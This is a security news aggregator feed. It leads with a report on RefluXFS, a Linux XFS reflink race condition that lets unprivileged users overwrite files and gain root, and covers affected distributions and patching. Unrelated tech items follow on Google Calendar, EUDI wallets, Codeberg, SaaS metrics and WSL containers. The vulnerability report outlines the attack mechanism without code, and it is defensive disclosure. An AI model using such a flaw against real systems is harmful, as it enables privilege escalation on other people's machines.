<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.networkworld.com/article/4200802/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access.html">Network World</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[View supporting calendar delegates in meeting guest list]]></title>
<description><![CDATA[When viewing a guest list in Google Calendar on the web, you will now see a new icon next to leaders who have a calendar delegate assisting them with scheduling support. Hovering over the icon will display the person’s information, allowing you to easily initiate a chat with them directly.This up...]]></description>
<link>https://tsecurity.de/de/3689570/web-tipps/view-supporting-calendar-delegates-in-meeting-guest-list/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689570/web-tipps/view-supporting-calendar-delegates-in-meeting-guest-list/</guid>
<pubDate>Thu, 23 Jul 2026 17:53:35 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When viewing a guest list in Google Calendar on the web, you will now see a new icon next to leaders who have a calendar delegate assisting them with scheduling support. Hovering over the icon will display the person’s information, allowing you to easily initiate a chat with them directly.</p><p>This update helps users quickly identify and contact the appropriate scheduling support for a leader to streamline communication and event coordination.</p><p>This icon is visible in several calendar views:</p><p></p><ul><li>Event details view</li><li>Full-screen creation</li><li>Side-by-side scheduling view</li></ul><p></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5LMGon8DbvIb75H_NX_sx-bv3oZdCH0fI7MNaovk7fUKW416L0sBvXFFMxIywQ5fkZz8Oitaef7ZyqSmAlcXlZMD-2trC1cWq6W99epBcQ7eZe97reUsFk7Cpdlb-FjEdZ0QvJVxLi5M2VZ3vSbpL_elrrPyPTzYxqKy9irfz5h7lc4xlmNiL8V2X_Wk/s1180/View%20supporting%20calendar%20delegates%20in%20meeting%20guest%20list%20-%207060.png"><img border="0" data-original-height="452" data-original-width="1180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5LMGon8DbvIb75H_NX_sx-bv3oZdCH0fI7MNaovk7fUKW416L0sBvXFFMxIywQ5fkZz8Oitaef7ZyqSmAlcXlZMD-2trC1cWq6W99epBcQ7eZe97reUsFk7Cpdlb-FjEdZ0QvJVxLi5M2VZ3vSbpL_elrrPyPTzYxqKy9irfz5h7lc4xlmNiL8V2X_Wk/s1600/View%20supporting%20calendar%20delegates%20in%20meeting%20guest%20list%20-%207060.png"></a></td></tr><tr><td class="tr-caption"><br>New icon surfacing the calendar delegate of a leader in the guest list in event details view</td></tr></tbody></table><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no admin control for this feature.</li><li><b>End users: </b>There is no end-user setting for this feature. Simply hover over the icon next to the person’s name to see more information about their scheduling support.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 23, 2026</li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Full rollout (1–3 days for feature visibility) starting on August 3, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul><p></p>]]></content:encoded>
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<title><![CDATA[[$] An operations structure for swap devices]]></title>
<description><![CDATA[One of the ideas raised at the 2026 Linux
Storage, Filesystem, Memory Management, and BPF Summit (LSFMM+BPF) was
the creation of an
operations structure for the swap subsystem.  Like many parts of the
kernel, the swap layer evolved over time, with pieces being added as
needed; the end result of t...]]></description>
<link>https://tsecurity.de/de/3689355/linux-tipps/an-operations-structure-for-swap-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689355/linux-tipps/an-operations-structure-for-swap-devices/</guid>
<pubDate>Thu, 23 Jul 2026 16:29:33 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One of the ideas raised at the <a href="https://lwn.net/Articles/lsfmmbpf2026/">2026 Linux
Storage, Filesystem, Memory Management, and BPF Summit</a> (LSFMM+BPF) was
the creation of <a href="https://lwn.net/Articles/1072657/#:~:text=Abstracting%20the%20swap%20backend">an
operations structure</a> for the swap subsystem.  Like many parts of the
kernel, the swap layer evolved over time, with pieces being added as
needed; the end result of this evolution is rarely what one would expect
had the subsystem been designed today.  The interface between the swap
layer and the devices it uses is just one example.  It appears that one
result of the swap subsystem's evolution — the lack of an abstraction layer
to interface with underlying storage — will soon be addressed, but in a
different way than was initially envisioned.]]></content:encoded>
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<title><![CDATA[The 2026 deadline for the European Digital Identity Wallet is a present reality]]></title>
<description><![CDATA[Author: PQShield - Bewertung: 1x - Views:171 The 2026 deadline for the European Digital Identity Wallet is a present reality rather than a distant goal. 

@Wei Yuan observes that member states are currently under pressure from the European Commission to deploy their solutions. It’s a timeline tha...]]></description>
<link>https://tsecurity.de/de/3689339/videos/the-2026-deadline-for-the-european-digital-identity-wallet-is-a-present-reality/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689339/videos/the-2026-deadline-for-the-european-digital-identity-wallet-is-a-present-reality/</guid>
<pubDate>Thu, 23 Jul 2026 16:20:27 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PQShield - Bewertung: 1x - Views:171 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RcPSCWS9Rgk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The 2026 deadline for the European Digital Identity Wallet is a present reality rather than a distant goal. <br />
<br />
@Wei Yuan observes that member states are currently under pressure from the European Commission to deploy their solutions. It’s a timeline that requires the industry to move quickly from pilot programs to full production. <br />
<br />
And waiting to address these requirements till the 11th hour increases the risk of missing critical regulatory milestones.<br />
<br />
Tune in to see how the 2026 mandate affects your product development.<br/></p>]]></content:encoded>
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<title><![CDATA[Codeberg: Protecting our FLOSS commons from LLMs]]></title>
<description><![CDATA[The Codeberg forge has adopted a pair of new policies, promising not to use
hosted projects to train LLMs and, more controversially, banning the
hosting of LLM-generated software.  The site's blog describes
and justifies these policies.


	Although often well intentioned, sharing the result of a ...]]></description>
<link>https://tsecurity.de/de/3689205/linux-tipps/codeberg-protecting-our-floss-commons-from-llms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689205/linux-tipps/codeberg-protecting-our-floss-commons-from-llms/</guid>
<pubDate>Thu, 23 Jul 2026 15:34:16 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Codeberg forge has adopted a pair of new policies, promising not to use
hosted projects to train LLMs and, more controversially, banning the
hosting of LLM-generated software.  The site's blog <a href="https://blog.codeberg.org/protecting-our-floss-commons-from-llms.html">describes
and justifies</a> these policies.
<p>
</p><blockquote class="bq">
	Although often well intentioned, sharing the result of a prompt
	and calling it "libre software" does not make the world a better
	place. Codeberg is not and does not want to be a place to dump such
	generated single-use software that no one else will ever look
	at. We are a place for people to collaborate and improve software
	together. Within this context, the recent votes can be understood
	as a reconfirmation of those principles: As we want to center on
	human collaboration, we will not actively support or engage in the
	creation of LLMs and will not put our limited resources to use for
	storing single-use software that would pollute our FLOSS commons.
</blockquote>]]></content:encoded>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Certifying the future; synchronizing EUDI wallets and quantum-readiness]]></title>
<description><![CDATA[Author: PQShield - Bewertung: 0x - Views:0 The rollout of the European Digital Identity Wallet (EUDI wallet) demands tight security, but combining high-assurance compliance with post-quantum cryptography creates new engineering bottlenecks. In this episode, host Johannes Lintzen sits down with We...]]></description>
<link>https://tsecurity.de/de/3688805/videos/certifying-the-future-synchronizing-eudi-wallets-and-quantum-readiness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688805/videos/certifying-the-future-synchronizing-eudi-wallets-and-quantum-readiness/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:40 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PQShield - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qH2adeafr6g?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The rollout of the European Digital Identity Wallet (EUDI wallet) demands tight security, but combining high-assurance compliance with post-quantum cryptography creates new engineering bottlenecks. In this episode, host Johannes Lintzen sits down with Wei Yuan, lab manager and director of operations at Applus+ Laboratories. They dissect hardware trust architectures, hardware security module (HSM) limits, and why implementation flaws cause far more security breaches than algorithmic failures.<br />
<br />
YouTube chapters<br />
00:00 Introduction to Wei Yuan and Applus+ Laboratories <br />
03:28 Explaining the European Digital Identity (EUDI) Wallet <br />
05:28 The importance of data minimization for citizens <br />
07:41 How laboratories verify vendor security claims <br />
09:35 The vulnerability of identity data to quantum attacks <br />
11:12 The 2026 deadline for member state deployment <br />
12:22 Creating certification schemes with ENISA <br />
15:46 Comparing secure elements and remote HSMs <br />
19:12 The role of standardization in preventing delays <br />
24:33 Navigating international regulation differences <br />
28:51 Advice for vendors starting their migration <br />
32:10 Reporting obligations under the Cyber Resilience Act <br />
34:02 Why implementation matters more than design<br />
<br />
Guest bio<br />
Wei Yuan is lab manager and director of operations at Applus+ Laboratories. Working at the boundary of high-assurance evaluation, hardware security, and regulatory policy, he serves as an expert within ENISA working groups, helping shape European digital identity certification standards and transition pathways to post-quantum cryptography.<br/></p>]]></content:encoded>
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<title><![CDATA[Google verbindet Wallet mit Gmail für Versandinfos und Einkäufe]]></title>
<description><![CDATA[Google baut in den letzten Jahren seine Wallet-App immer weiter aus, sie soll mehr als nur digitaler Speicher für Zahlkarten und Eintrittskarten sein. Nun werden…
Dieser Artikel Google verbindet Wallet mit Gmail für Versandinfos und Einkäufe erschien zuerst auf SmartDroid.de.]]></description>
<link>https://tsecurity.de/de/3688505/android-tipps/google-verbindet-wallet-mit-gmail-fuer-versandinfos-und-einkaeufe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688505/android-tipps/google-verbindet-wallet-mit-gmail-fuer-versandinfos-und-einkaeufe/</guid>
<pubDate>Thu, 23 Jul 2026 11:20:15 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="2048" height="1535" src="https://i0.wp.com/www.smartdroid.de/wp-content/uploads/2026/04/Google-Wallet-2026-Hero-App-scaled.jpg?fit=2048%2C1535&amp;ssl=1" class="attachment-medium size-medium wp-post-image" alt="Google Wallet 2026 Hero App" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.smartdroid.de/wp-content/uploads/2026/04/Google-Wallet-2026-Hero-App-scaled.jpg?w=2048&amp;ssl=1 2048w, https://i0.wp.com/www.smartdroid.de/wp-content/uploads/2026/04/Google-Wallet-2026-Hero-App-scaled.jpg?resize=1200%2C899&amp;ssl=1 1200w, https://i0.wp.com/www.smartdroid.de/wp-content/uploads/2026/04/Google-Wallet-2026-Hero-App-scaled.jpg?resize=1536%2C1151&amp;ssl=1 1536w, https://i0.wp.com/www.smartdroid.de/wp-content/uploads/2026/04/Google-Wallet-2026-Hero-App-scaled.jpg?w=1800&amp;ssl=1 1800w" sizes="(max-width: 2048px) 100vw, 2048px"><p>Google baut in den letzten Jahren seine Wallet-App immer weiter aus, sie soll mehr als nur digitaler Speicher für Zahlkarten und Eintrittskarten sein. Nun werden…</p>
<p>Dieser Artikel <a rel="nofollow" href="https://www.smartdroid.de/google-verbindet-wallet-mit-gmail-fuer-datenaustausch/">Google verbindet Wallet mit Gmail für Versandinfos und Einkäufe</a> erschien zuerst auf <a rel="nofollow" href="https://www.smartdroid.de/">SmartDroid.de</a>.</p>]]></content:encoded>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



